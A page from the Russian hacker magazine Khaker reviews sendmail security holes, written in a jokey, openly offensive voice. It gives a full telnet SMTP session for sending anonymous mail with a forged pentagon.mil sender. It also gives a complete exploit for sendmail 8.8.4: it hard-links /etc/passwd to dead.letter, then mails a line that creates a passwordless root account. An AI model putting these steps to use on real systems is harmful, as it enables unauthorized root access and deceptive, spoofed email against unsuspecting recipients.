ЖУРНАЛ ХАКЕР

Дуршлаг в Sendmail

Спецвыпуск Хакера, номер #007, стр. 007-040-1


Mr. False: mr_false@mail.ru

Ты, как продвинутый никсоид, конечно, знаешь, что есть такой демон sendmail.

Висит он на 25-м порту и шлет всем мыло и посылки бандеролями по 800 г :). Он

присутствует на многих серваках, в том числе и предоставляющих халявную

мыльницу. А еще этот демон отличается избыточным наличием багов (гы). А нам,

собственно, того от него и надо ;). Итак, я представляю здесь небольшой

обзор некоторых дырочек.

Баг нумбер ноль - анонимайзер

Sendmail позволяет посылать анонимное мыло. Для этого даже не нужно обладать

никакими правами на машине (правда, айпишник твой все-таки засветится в заголовке, но ламер-получатель вряд ли разберется). Эта фишка, по сути, как таковым багом не является, но в каких целях ее использовать, я думаю, ты сам разберешься. Суть дела: коннектишься телнетом на какой-нибудь сервак с сендмылом на 25-й порт. А

дальше получается диалог, весьма похожий на этот:

220 smtp.ijjeaa.ru ESMTP Sendmail 8.11.0/8.11.0; Wed, 7 Feb 2001 15:19:12

+0600

helo ijjeaa.ru

250 smtp.ijjeaa.ru Hello vasiliy.pupkin.bass7.suxx_provider.ru

[31.33.7.255], pleased to meet you

mail from:<ijjeaa@pentagon.mil>

250 2.1.0 <ijjeaa@pentagon.mil>... Sender ok

rcpt to:<vasiliy_pupovidze@ijjeaa.ru>

250 2.1.5 <vasiliy_pupovidze@ijjeaa.ru>... Recipient ok

data

354 Enter mail, end with "." on a line by itself /*Чтобы закончить мессагу,

давишь ентер, потом точку, потом опять ентер.*/

Subject: Внимание!

Гражданина Грузии Василия Иййееовича Пуповидзе просьба (убедительная)

пройти к центральным воротам!

.

250 2.0.0 f17F73a00523

quit

221 2.0.0 smtp.ijjeaa.ru closing connection

Connection closed by foreign host.

Вскоре Василий Пуповидзе получит долгожданное мыло ;).

Баг нумбер раз - администратор... молодец

Версия демона: 8.8.4 (возможно, и 8.8.5)

Краткое описание:

Если адрес получателя не существует (ну нет мыльницы с таким названием), то

сендмайл пишет текст письма в файл /var/tmp/dead.letter. А кто нам мешает

слинковать, скажем, /etc/passwd и /var/tmp/dead.letter? Итого, имея

какие-нибудь права на атакуемой машине, посылаешь мыло с соответствующим

содержанием через ее сендмайл (данной версии, разумеется) на заведомо

несуществующий адрес.

Пример:

[MrFalse@localhost MrFalse]$ ln /etc/passwd /var/tmp/dead.letter

[MrFalse@localhost MrFalse]$ telnet smtp.super_m.org 25

Trying 31.33.7.0...

Connected to smtp.super_m.org.

Escape character is '^]'.

220 smtp.super_m.org ESMTP Sendmail 8.9.4/8.9.5; Fri, 9 Feb 2001 18:19:15

+0600

helo super_m.org

250 smtp.super_m.org Hello shlynxel.zasraneс.ru [15.05.40.7],

pleased to meet you

mail from: <ijjeaa@tyt.net>

250 2.1.0 <ijjeaa@tyt.net>... Sender ok

rcpt to: <ijjeaa@daje.tyt.net>

250 2.1.5 <ijjeaa@daje.tyt.net>... Recipient ok

data

354 Enter mail, end with "." on a line by itself

MrFalse::0:0:ijjeaa rulez:/root:/bin/bash

.

250 2.0.0 f19CJpM00584

quit

221 2.0.0 smtp.super_m.org closing connection

Connection closed by foreign host.

В результате сендмыл запишет строку "MrFalse::0:0:ijjeaa

rulez:/root:/bin/bash" в /etc/passwd, и мы имеем юзверя MrFalse

Содержание  Вперед на стр. 007-040-2